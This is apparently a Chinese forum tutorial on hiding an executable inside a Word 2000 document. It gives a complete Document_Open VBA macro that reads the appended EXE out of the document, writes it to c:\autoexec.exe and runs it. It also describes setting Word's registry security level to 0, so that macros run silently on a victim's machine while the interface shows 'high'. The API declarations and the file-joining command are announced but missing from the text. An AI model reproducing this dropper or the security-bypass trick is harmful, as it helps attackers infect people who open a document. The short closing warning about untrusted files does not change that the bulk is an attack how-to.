其实这种转换并不是文件格式上的变化,只不过是把一个EXE文件接在一个DOC文件的末尾而已,这个DOC文件当然就不是不同WORD的文档啦,该文档中包含了宏语句,能在运行的时候把接在自己文件末尾的EXE文件数据读取出来并运行,就造成一种假象,好象文档打开时就运行了EXE文件似的.(和文件捆绑器的原理很象啊!)
熟悉VB的朋友都知道,WORD的宏是使用VBA来编写的,具体语法和VB一样,但有些方法VB中没有,如宏病毒就是利用宏复制语句来达到感染的目的.和VB一样,我们可以在编写宏的时候调用WINDOWS API!!下面我们来介绍一下我们编写这个宏需要用到的API函数:
1)CreateFile 用于打开文件,该函数VB的声明如下:
2)CloseHandle 用于关闭被打开文件的句柄,该函数VB的声明如下:
3)ReadFile 用于从被打开文件中读取数据,该函数VB的声明如下:
4)WriteFile 用于把读取出的数据写入文件,该函数VB的声明如下:
5)SetFilePoniter移动文件指针,该函数VB的声明如下:
6)下面是以上函数的参数声明
Public Const GENERIC_READ As Long = &H80000000
Public Const GENERIC_WRITE As Long = &H40000000
Public Const FILE_SHARE_READ As Long = 1
Public Const FILE_SHARE_WRITE As Long = 2
Public Const CREATE_NEW As Long = 1
Public Const CREATE_ALWAYS As Long = 2
Public Const OPEN_EXISTING As Long = 3
Public Const OPEN_ALWAYS As Long = 4
Public Const TRUNCATE_EXISTING As Long = 5
Public Const INVALID_HANDLE_VALUE As Long = -1
Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80
好了,有了这些准备工作就可以开始了,我们运行WORD2000,打开VISUAL BASIC编辑器,新建一个模块,把上面的函数和参数声明拷进去!再回到“ThisDocument”的代码视图,选择Document Open的事件,输入一下代码:
Private Sub Document_Open()
Dim buffer(65536) As Byte
Dim h, h2, j, i, k As Long
h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)
‘以SHARE_READ的方式打开自身的DOC文件
h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)
‘新建一个EXE文件准备存放读取出来的数据.
If h = INVALID_HANDLE_VALUE Then
Exit Sub
End If
k = SetFilePointer(h, 32768, nil, 0)
‘把文件指针移动到DOC文件与EXE文件交界处.
Do
i = ReadFile(h, buffer(0), 65536, j, 0)
i = WriteFile(h2, buffer(0), j, j, 0)
Loop Until j < 65536
CloseHandle (h)
CloseHandle (h2)
Shell "c:\autoexec.exe"
‘运行EXE文件
End Sub
这样宏就编写好了,注意的地方就是上面SetFilePointer函数的使用部分:32768是你编写完宏保存好的DOC文件的文件大小,不一顶就是32768哦,大家注意!
大家可能有疑问,如何把EXE文件接到DOC文件后面呢?很简单,把你要接的EXE放到和这个DOC文件同一个目录下.运行DOC命令:
这样就可以了~~~.当你打开这个NEWDOC.DOC的时候,宏就会把后面的EXE文件读出来并保存在C:\AUTOEXEC.EXE中,然后运行,是不是很恐怖啊!不过这需要你的WORD2000安全度为最低的时候才能实现,关于这个安全度的问题,我们又发现了微软的小BUG,大家看看注册表中这个键:
HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的
Level值.当安全度是3(高)的时候,WORD不会运行任何的宏,2(中)的时候WORD会询问你是否运行宏,1(低)的时候WORD就会自动运行所有的宏!但很容易就被发现安全度被设为低了,聪明的你一定想到如果这个值变为0的时候会怎么样!!??对了!如果设为0的话,WORD里面就会显示安全度为高,但却能自动运行任何的宏!!是不是很夸张??和注册表编辑器的后门一样这都是MS的后门吧?
如果要受害人的机器接受你的DOC文件又能顺利运行,最重要就是把WORD的安全度在注册表中的值改为0,怎么改??方法太多了吧,单是IE的恶意代码能实现的都太多了,另外,如果网页上连接上是DOC的话,IE也会自动下载该DOC文件!危险的MS啊!!
这个算不算漏洞我不敢说,但防范真的很难,除非一天到晚监视着注册表,或者不用WORD?太消极了吧,最重要的是小心防范,陌生人的东西千万不要收!包括非EXE文件,我们现在发现了DOC文件能隐藏EXE文件,也会有人发现其他文件能隐藏EXE,所以大家千万要小心.


